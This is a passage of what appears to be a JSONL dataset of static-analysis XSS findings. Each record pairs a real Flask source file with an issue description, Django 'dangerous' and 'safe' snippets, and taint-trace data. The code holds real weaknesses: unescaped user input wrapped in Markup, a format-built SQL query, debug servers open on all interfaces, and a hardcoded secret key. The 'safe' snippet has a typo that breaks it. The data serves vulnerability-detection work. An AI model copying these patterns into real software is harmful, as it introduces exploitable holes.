= \"删除失败!\"\n            return json.dumps(res)\n        elif function == \"insert\":\n            res = {'info':'插入成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_insert(data, False)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"插入失败!\"\n            return json.dumps(res)\n        elif function == \"update\":\n            res = {'info':'修改成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_update(data, False)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"修改失败!\"\n            return json.dumps(res)\n\n    else:\n        return render_template(\"account_checking.html\", rows = tabs, dbname=session['database'])\n\n\n# 贷款管理页面\n@app.route(\"/loan\", methods=([\"GET\", \"POST\"]))\ndef loan():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showloan()\n    if tabs==None:\n        tabs=\"\"\n\n    if request.method == \"POST\":\n        if 'search' in request.form:\n            # 是由search表单提交的post请求\n            searchinfo = {}\n            for key,value in request.form.items():\n                # 注意这里key和value仍然是unicode编码,统一在db.py中处理!\n                if len(value) != 0 and key!='search':\n                    # 做第一层过滤,使得可以表单中某块信息不填\n                    searchinfo[key] = value\n            tabs = db.loan_search(searchinfo)\n            return render_template(\"loan.html\", rows = tabs, dbname=session['database'])\n        # 其它删改查需求,是由Ajax提交的post\n        datas = json.loads(request.get_data(as_text=True))\n        function = datas[\"function\"]\n        datas = datas[\"inputdata\"]\n        # print(function)\n        if function == \"delete\":\n            res = {'info':'删除成功!', 'errs':[]}\n            for data in datas:\n                err = db.loan_del(data)\n                if err != '0':\n                    res['errs'].append([data[u\"贷款号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"删除失败!\"\n            return json.dumps(res)\n        elif function == \"insert\":\n            res = {'info':'插入成功!', 'errs':[]}\n            for data in datas:\n                err = db.loan_insert(data)\n                if err != '0':\n                    res['errs'].append([data[u\"贷款号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"插入失败!\"\n            return json.dumps(res)\n        elif function == \"release\":\n            res = {'info':'贷款发放成功!', 'errs':[]}\n            for data in datas:\n                err = db.loan_release(data)\n                if err != '0':\n                    res['errs'].append([data[u\"贷款号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"贷款发放失败!\"\n            return json.dumps(res)\n\n    else:\n        return render_template(\"loan.html\", rows = tabs, dbname=session['database'])\n\n\n\n# 业务统计\n# 按月\n@app.route(\"/statistic/month\")\ndef month():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.statistic_month()\n\n    return render_template(\"statistic.html\", how = u'月份', rows = tabs, dbname=session['database'])\n\n# 按季度\n@app.route(\"/statistic/quarter\")\ndef quarter():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.statistic_quarter()\n\n    return render_template(\"statistic.html\", how = u'季度', rows = tabs, dbname=session['database'])\n\n# 按年\n@app.route(\"/statistic/year\")\ndef year():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.statistic_year()\n\n    return render_template(\"statistic.html\", how = u'年份', rows = tabs, dbname=session['database'])\n\n\n\n# 测试新html页面\n@app.route(\"/test\")\ndef test():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showtablecnt()\n\n    return render_template(\"test.html\", rows = tabs)\n\n# 测试URL下返回html page\n@app.route(\"/hello\")\ndef hello():\n    return \"hello world!\"\n\n#返回不存在页面的处理\n@app.errorhandler(404)\ndef not_found(e):\n    return render_template(\"404.html\")\n\nif __name__ == \"__main__\":\n\n    app.run(host = \"0.0.0.0\", debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"database\"]"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "MyDefSQL"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "login"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "35"}}, {"lineNo": 36, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "490eaf856e53c7016a7fe0179c048bc3f753c406dd207e179b46752328267494", "license": {"spdx": ["Apache-2.0"], "repo": "tivaliy/gerrit-quick-viewer", "path": "gerritviewer/views/accounts.py", "repo_head_hexsha": "86d6995faf2a1eeb611eb861fef2a8c856f4be86", "stack_hexsha": "d7afcd461d31d762481c2b25c06e4d95251be3d2", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 79, "entireCode": "#\n#    Copyright 2017 \n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\nimport requests\n\nfrom flask import Blueprint, current_app, flash, Markup, render_template, \\\n    request, redirect, url_for\n\nfrom gerritclient import client\nfrom gerritclient import error as client_error\n\nfrom gerritviewer import common\nfrom .forms import CreateUserAccountForm, EditContactInfoForm, \\\n    QueryUserAccountForm\n\naccounts = Blueprint('accounts', __name__)\n\n\n@accounts.route('/accounts', methods=['GET', 'POST'])\ndef fetch():\n    form = QueryUserAccountForm()\n    gerrit_accounts = None\n    account_client = client.get_client('account',\n                                       connection=common.get_connection())\n    try:\n        if form.validate_on_submit():\n            gerrit_accounts = account_client.get_all(\n                form.query_string.data, detailed=form.details.data)\n            flash(Markup(\"Search results for '{}': {}\".format(\n                    form.query_string.data,\n                    \"Nothing Found\" if not gerrit_accounts else '')),\n                  category='note')\n    except (requests.ConnectionError, client_error.HTTPError) as error:\n        current_app.logger.error(error)\n        flash(error, category='error')\n    return render_template('accounts/accounts.html',\n                           gerrit_url=common.get_gerrit_url(),\n                           gerrit_version=common.get_version(),\n                           entry_category='accounts',\n                           entries=gerrit_accounts,\n                           form=form)\n\n\n@accounts.route('/accounts/')\ndef fetch_single(account_id):\n    account = {}\n    account_client = client.get_client('account',\n                                       connection=common.get_connection())\n    try:\n        account = account_client.get_by_id(\n            account_id, detailed=request.args.get('details', False))\n        account['is_active'] = account_client.is_active(account_id)\n        account['membership'] = account_client.get_membership(account_id)\n        action = request.args.get('action')\n        if action:\n            account_actions = {'enable': account_client.enable,\n                               'disable': account_client.disable}\n            account_actions[action](account_id)\n            flash(Markup(\"Account with ID={} was \"\n                         \"successfully {}d\".format(\n                          account_id, action)), category='note')\n            return redirect(url_for('accounts.fetch_single',\n                                    account_id=account_id))\n    except (requests.ConnectionError, client_error.HTTPError) as error:\n        current_app.logger.error(error)\n        flash(error, category='error')\n    return render_template('accounts/profile.html',\n                           gerrit_url=common.get_gerrit_url(),\n                           gerrit_version=common.get_version(),\n                           entry_category='accounts',\n                           entry_item=account,\n                           entry_item_name=account.get('name'))\n\n\n@accounts.route('/accounts/contact/', methods=['GET', 'POST'])\ndef edit_contact_info(account_id):\n    form = EditContactInfoForm()\n    account = {}\n    account_client = client.get_client('account',\n                                       connection=common.get_connection())\n    try:\n        account = account_client.get_by_id(account_id, detailed=False)\n        current_status = get_account_status(account_id)\n        if form.validate_on_submit():\n            fullname, username = form.fullname.data, form.username.data\n            status = form.status.data\n            response = {}\n            if account.get('name') != fullname:\n                response['full name'] = account_client.set_name(account_id,\n                                                                fullname)\n            if username and account.get('username') != username:\n                response['username'] = account_client.set_username(account_id,\n                                                                   username)\n            if status != current_status:\n                response['status'] = account_client.set_status(account_id,\n                                                               status) or ''\n            if response:\n                flash(Markup(\"The following parameters were successfully \"\n                             \"updated: {0}\".format(\", \".join(\n                              \":: \".join(_) for _ in response.items()))),\n                      category='note')\n            return redirect(url_for('accounts.fetch_single',\n                                    account_id=account_id))\n    except (requests.ConnectionError, client_error.HTTPError) as error:\n        current_app.logger.error(error)\n        flash(error, category='error')\n    return render_template('accounts/contacts.html',\n                           gerrit_url=common.get_gerrit_url(),\n                           gerrit_version=common.get_version(),\n                           entry_category='accounts',\n                           entry_item=account,\n                           entry_item_name=account.get('name'),\n                           form=form)\n\n\n@accounts.route('/accounts/ssh/')\ndef ssh(account_id):\n    account_client = client.get_client('account',\n                                       connection=common.get_connection())\n    account, ssh_keys = {}, []\n    try:\n        account = account_client.get_by_id(account_id, detailed=False)\n        ssh_keys = account_client.get_ssh_keys(account_id)\n    except (requests.ConnectionError, client_error.HTTPError) as error:\n        current_app.logger.error(error)\n        flash(error, category='error')\n    return render_template('accounts/ssh.html',\n                           gerrit_url=common.get_gerrit_url(),\n                           gerrit_version=common.get_version(),\n                           entry_category='accounts',\n                           entry_item=account,\n                           entry_item_name=account.get('name'),\n                           entries=ssh_keys)\n\n\n@accounts.route('/accounts/create', methods=['GET', 'POST'])\ndef create():\n    form = CreateUserAccountForm()\n    if form.validate_on_submit():\n        account_client = client.get_client('account',\n                                           connection=common.get_connection())\n        data = {k: v for k, v in (('username', form.username.data),\n                                  ('name', form.fullname.data),\n                                  ('email', form.email.data)) if v}\n        try:\n            response = account_client.create(form.username.data, data=data)\n            msg = Markup(\"A new user account '{0}' \"\n                         \"with ID={1} was successfully created.\".format(\n                          response['username'], response['_account_id']))\n            flash(msg, category='note')\n            return redirect(url_for('accounts.fetch_single',\n                                    account_id=response['_account_id']))\n        except (requests.ConnectionError, client_error.HTTPError) as error:\n                current_app.logger.error(error)\n                flash(error, category='error')\n    return render_template('accounts/create.html',\n                           gerrit_url=common.get_gerrit_url(),\n                           gerrit_version=common.get_version(),\n                           form=form)\n\n\n# Status of account is only available since gerrit 2.14,\n# so we have to fetch it in a proper way for all versions\ndef get_account_status(account_id):\n    account_client = client.get_client('account',\n                                       connection=common.get_connection())\n    try:\n        current_status = account_client.get_status(account_id)\n    except client_error.HTTPError:\n        current_status = None\n    return current_status", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 79, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "8111208e25ad6b71675e1eda14e4fd32e67603ac6d2fa332796d242774fbbd3d", "license": {"spdx": ["MIT"], "repo": "mwaseem75/iris-python-template", "path": "src/Python/flask/app.py", "repo_head_hexsha": "c8d75e22a6eee33e796d28f5508fd656a6ea58d6", "stack_hexsha": "cbce8d593e80431df2ec54039449d1df714915f5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 328, "entireCode": "from flask import Flask, jsonify, Response, request, make_response, render_template\nfrom definitions.passenger import Passenger\nimport json,util,io,random\nimport iris\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nfrom matplotlib.backends.backend_svg import FigureCanvasSVG\n\nfrom matplotlib.figure import Figure\n\napp = Flask(__name__) \napp.secret_key = \"abc222\"\n\n# ----------------------------------------------------------------\n### CRUD FOR TITANIC_TABLE.PASSENGER\n# ----------------------------------------------------------------\n@app.route(\"/\")\ndef index():\n    content = util.get_dashboard_stats()\n    return render_template('index.html', content = content)\n\n  \n@app.route(\"/processes\")\ndef processes():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"USER\")\n    statement = iris.sql.exec(util.get_sql_stat(\"processes\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]   \n    ftitle = \"Processes\"\n    fheading = \"Currently runnung processes\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)    \n\n@app.route(\"/messages\")\ndef messages():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"USER\")\n    statement = iris.sql.exec(util.get_sql_stat(\"messages\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Messages\"\n    fheading = \"Production Messages\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n   \n@app.route(\"/securityusers\")\ndef securityusers():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"%SYS\")\n    statement = iris.sql.exec(util.get_sql_stat(\"securityusers\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Users\"\n    fheading = \"Security Users\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n@app.route(\"/securityapps\")\ndef securityapps():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"%SYS\")\n    statement = iris.sql.exec(util.get_sql_stat(\"securityapps\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Applications\"\n    fheading = \"Created Applications\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n@app.route(\"/elassert\")\ndef elassert():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"USER\")\n    statement = iris.sql.exec(util.get_sql_stat(\"elassert\"))  \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Assert\"\n    fheading = \"Event Log Assert\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n@app.route(\"/elerror\")\ndef elerror():\n    iris.cls(\"Embedded.Utils\").SetNameSpace(\"USER\")\n    statement = iris.sql.exec(util.get_sql_stat(\"elerror\"))  \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Error\"\n    fheading = \"Event Log Error\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n@app.route(\"/elwarning\")\ndef elwarning():\n    statement = iris.sql.exec(util.get_sql_stat(\"elwarning\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Warning\"\n    fheading = \"Event Log Warning\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n    \n@app.route(\"/elinfo\")\ndef elinfo():\n    statement = iris.sql.exec(util.get_sql_stat(\"elinfo\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Info\"\n    fheading = \"Event Log Info\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)       \n\n@app.route(\"/eltrace\")\ndef eltrace():\n    statement = iris.sql.exec(util.get_sql_stat(\"eltrace\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Trace\"\n    fheading = \"Event Log Trace\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n@app.route(\"/elevent\")\ndef elevent():\n    statement = iris.sql.exec(util.get_sql_stat(\"elalert\")) \n    df = statement.dataframe()\n    my_data=json.loads(df.to_json(orient=\"split\"))[\"data\"]\n    my_cols=[{\"title\": str(col)} for col in json.loads(df.to_json(orient=\"split\"))[\"columns\"]]\n    ftitle = \"Alert\"\n    fheading = \"Event Log Alert\"\n    content = util.get_sidebar_stats()\n    return render_template('tablesdata.html',  ftitle = ftitle, fheading = fheading, my_data = my_data, my_cols = my_cols, content = content)        \n\n\n# GET all passengers\n@app.route(\"/api/passengers\")\ndef getAllPassengers():\n    payload = {}\n    payload['passengers'] = []\n    tp = {}\n    name = request.args.get('name')\n    currPage = request.args.get('currPage')\n    pageSize = request.args.get('pageSize')\n    if name is not None:\n        # If search by name \n        query = \"SELECT ID FROM Titanic_Table.Passenger WHERE name %STARTSWITH ?\"\n        rs = iris.sql.exec(query, name)\n        for i in rs:\n            # We create an iris object\n            tp = iris.ref(1)\n            # We get the json in a string\n            iris.cls(\"Titanic.Table.Passenger\")._OpenId(i[0])._JSONExportToString(tp)\n            # We normalize the string to get it in python\n            tp = iris.cls(\"%String\").Normalize(tp)\n            # We load the string in a dict\n            tp = json.loads(tp)\n            # We add the id\n            tp['passengerId'] = i[0]\n            payload['passengers'].append(tp)\n    else:\n        currPage = int(currPage) if currPage is not None else 1\n        pageSize = int(pageSize) if pageSize is not None else 10\n        tFrom = ((currPage -1 ) * pageSize)+1\n        tTo = tFrom + (pageSize-1)\n        query = \"\"\"\n                SELECT * FROM \n                    (\n                        SELECT ID,\n                            ROW_NUMBER() OVER (ORDER By ID ASC) rn\n                        FROM Titanic_Table.Passenger\n                    ) tmp\n                WHERE rn between {} and {}\n                ORDER By ID ASC\n                \"\"\".format(tFrom,tTo)\n        rs = iris.sql.exec(query)\n        for i in rs:\n            # We create an iris object\n            tp = iris.ref(1)\n            # We get the json in a string\n            iris.cls(\"Titanic.Table.Passenger\")._OpenId(i[0])._JSONExportToString(tp)\n            # We normalize the string to get it in python\n            tp = iris.cls(\"%String\").Normalize(tp)\n            # We load the string in a dict\n            tp = json.loads(tp)\n            # We add the id\n            tp['passengerId'] = i[0]\n            payload['passengers'].append(tp)\n    # Getting the total number of passengers\n    rs = iris.sql.exec(\"SELECT COUNT(*) FROM Titanic_Table.Passenger\")\n    payload['total'] = rs.__next__()[0]\n    payload['query'] = query\n    return jsonify(payload)\n\n# POST a new passenger\n@app.route(\"/api/passengers\", methods=[\"POST\"])\ndef createPassenger():\n    # Retreiving the data in request body\n    passenger = request.get_json()\n    query = \"INSERT INTO Titanic_Table.Passenger (survived, pclass, name, sex, age, sibSp, parCh, ticket, fare, cabin, embarked) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\n    # Getting the new ID of the passenger\n    newId = int(iris.sql.exec(\"SELECT MAX(ID) FROM Titanic_Table.Passenger\").__next__()[0]) + 1\n    try:\n        iris.sql.exec(query, passenger['survived'], passenger['pclass'], passenger['name'], passenger['sex'], passenger['age'], passenger['sibSp'], passenger['parCh'], passenger['ticket'], passenger['fare'], passenger['cabin'], passenger['embarked'])\n    except:\n        return make_response(\n            'Bad Request',\n            400\n        )\n    payload = {\n        'query': query,\n        'passengerId': newId\n    }\n    return jsonify(payload)\n\n# GET passenger with id\n@app.route(\"/api/passengers/\", methods=[\"GET\"])\ndef getPassenger(id):\n    payload = {}\n    query = \"SELECT * FROM Titanic_Table.Passenger WHERE ID = ?\"\n    rs = iris.sql.exec(query, str(id))\n    try :\n        passenger = Passenger(rs.__next__()).__dict__\n    except:        \n        return make_response(\n            'Not Found',\n            204\n        )\n    payload['passenger'] = passenger\n    payload['query'] = query\n    return jsonify(payload)\n\n# PUT to update passenger with id\n@app.route(\"/api/passengers/\", methods=[\"PUT\"])\ndef updatePassenger(id):\n    # First, checking to see if the passenger exists\n    query = \"SELECT ID FROM Titanic_Table.Passenger WHERE ID = ?\"\n    rs = iris.sql.exec(query, str(id))\n    try :\n        rs.__next__()\n    except:        \n        return make_response(\n            'Not Found',\n            204\n        )\n    # Updating\n    passenger = request.get_json()\n    query = \"UPDATE Titanic_Table.Passenger SET survived = ?, pclass = ?, name = ?, sex = ?, age = ?, sibSp = ?, parCh = ?, ticket = ?, fare = ?, cabin = ?, embarked = ? WHERE ID = ?\"\n    try:\n        iris.sql.exec(query, passenger['survived'], passenger['pclass'], passenger['name'], passenger['sex'], passenger['age'], passenger['sibSp'], passenger['parCh'], passenger['ticket'], passenger['fare'], passenger['cabin'], passenger['embarked'], id)\n    except:\n        return make_response(\n            'Bad Request',\n            400\n        )\n    payload = {\n        'query': query,\n    }\n    return jsonify(payload)\n\n# DELETE passenger with id\n@app.route(\"/api/passengers/\", methods=[\"DELETE\"])\ndef deletePassenger(id):\n    payload = {}  \n    query = \"DELETE FROM Titanic_Table.Passenger WHERE ID = ?\"\n    try:\n        iris.sql.exec(query, str(id))\n    except:\n        return make_response(\n            'Not Found',\n            204\n        )\n    payload['query'] = query\n    return jsonify(payload)\n\n\n\ndef getP():\n    payload = {}\n    payload['passengers'] = []\n    tp = {}\n    name = request.args.get('name')\n    currPage = request.args.get('currPage')\n    pageSize = request.args.get('pageSize')\n    currPage = int(currPage) if currPage is not None else 1\n    pageSize = int(pageSize) if pageSize is not None else 10\n    tFrom = ((currPage -1 ) * pageSize)+1\n    tTo = tFrom + (pageSize-1)\n    query = \"\"\"\n            SELECT * FROM \n                (\n                    SELECT ID,\n                        ROW_NUMBER() OVER (ORDER By ID ASC) rn\n                    FROM Titanic_Table.Passenger\n                ) tmp\n            WHERE rn between {} and {}\n            ORDER By ID ASC\n            \"\"\".format(tFrom,tTo)\n    rs = iris.sql.exec(query)\n    for i in rs:\n        # We create an iris object\n        tp = iris.ref(1)\n        # We get the json in a string\n        iris.cls(\"Titanic.Table.Passenger\")._OpenId(i[0])._JSONExportToString(tp)\n        # We normalize the string to get it in python\n        tp = iris.cls(\"%String\").Normalize(tp)\n        # We load the string in a dict\n        tp = json.loads(tp)\n        # We add the id\n        tp['passengerId'] = i[0]\n        payload['passengers'].append(tp)\n    # Getting the total number of passengers\n    rs = iris.sql.exec(\"SELECT COUNT(*) FROM Titanic_Table.Passenger\")\n    payload['total'] = rs.__next__()[0]\n    payload['query'] = query\n    return jsonify(payload)\n\n@app.route(\"/matplot\")\ndef matplot():\n    \"\"\" Returns html with the img tag for your plot.\n    \"\"\"\n    content = util.get_sidebar_stats()\n    num_x_points = int(request.args.get(\"num_x_points\", 50))\n    \n    return render_template('matplot.html', content = content, num_x_points = num_x_points)   \n\n@app.route(\"/matplot-as-image-.png\")\ndef plot_png(num_x_points=50):\n    \"\"\" renders the plot on the fly.\n    \"\"\"\n    fig = Figure()\n    axis = fig.add_subplot(1, 1, 1)\n    x_points = range(num_x_points)\n    axis.plot(x_points, [random.randint(1, 30) for x in x_points])\n\n    output = io.BytesIO()\n    FigureCanvasAgg(fig).print_png(output)\n    return Response(output.getvalue(), mimetype=\"image/png\")\n\n# ----------------------------------------------------------------\n### MAIN PROGRAM\n# ----------------------------------------------------------------\n\nif __name__ == '__main__':\n    app.run('0.0.0.0', port = \"8080\", debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 326, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 326, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 326, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 326, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 326, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 328, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
